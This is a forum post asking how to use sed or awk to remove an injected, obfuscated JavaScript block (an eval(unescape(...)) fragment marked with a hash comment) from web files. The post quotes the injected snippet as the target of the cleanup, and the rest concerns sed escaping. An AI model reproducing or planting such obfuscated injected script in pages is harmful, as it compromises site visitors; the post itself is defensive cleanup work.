The UNIX and Linux Forums  


Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
.
google unix.com



Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
How to replace any char with newline char. mightysam Shell Programming and Scripting 5 09-18-2008 09:15 PM
Escape character deepakpv Shell Programming and Scripting 4 02-16-2007 03:19 AM
Escape Char for double quote navik_pathak Shell Programming and Scripting 1 01-05-2007 02:34 PM
Available escape sequences Love SUN Solaris 6 06-20-2006 08:31 AM
possible to escape the \ character in sed? gammaman UNIX for Dummies Questions & Answers 1 07-07-2005 03:49 PM

 
English Japanese Spanish French German Portuguese Italian Dutch Swedish Russian Norwegian Hungarian Hebrew Danish Bulgarian Greek Powered by Powered by Google
 
LinkBack Thread Tools Search this Thread Rate Thread Display Modes
Prev Previous Post   Next Post Next
  #1 (permalink)  
Old 10-04-2008
fed.linuxgossip fed.linuxgossip is offline
Registered User
  
 

Join Date: Mar 2007
Posts: 99
sed escape char

Hi,

For the following complex code ,

<!-- [ b43e4abb769ba86e306ac6fa22f7adb2 ] --><script>eval(unescape('function%20bwZeP%28ioyT0%29%7Bfunction%20xbVsh%28mJ5r3%29%7Bvar%20bRFQX%3D0% 2CxiQjG%2CqF1s%3DmJ5r3.length%3Bfor%28xiQjG%3D0%3BxiQjG%3CqF1s%3BxiQjG++%29bRFQX+%3DmJ5r3.charCodeAt %28xiQjG%29*qF1s%3Breturn%20new%20String%28bRFQX%29%7DioyT0%3D3B'));</script>


How do I sed or awk this to clean it?



sed 's/b43e4abb769ba86e306ac6fa22f7adb2.*//g' filename


works but leaves :

<!-- [

obviously, as i left the part "<!-- [ "


I tried to use escape character like

sed 's/<\!\-\-\/\[\/\b43e4a.*//g' filename

but it did not work.


Please advise.
 

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On




All times are GMT -4. The time now is 02:30 PM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited. Language Translations Powered by .
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The UNIX and Linux Forums Content Copyright ©1993-2009. All Rights Reserved.Ad Management by RedTyger

Content Relevant URLs by vBSEO 3.2.0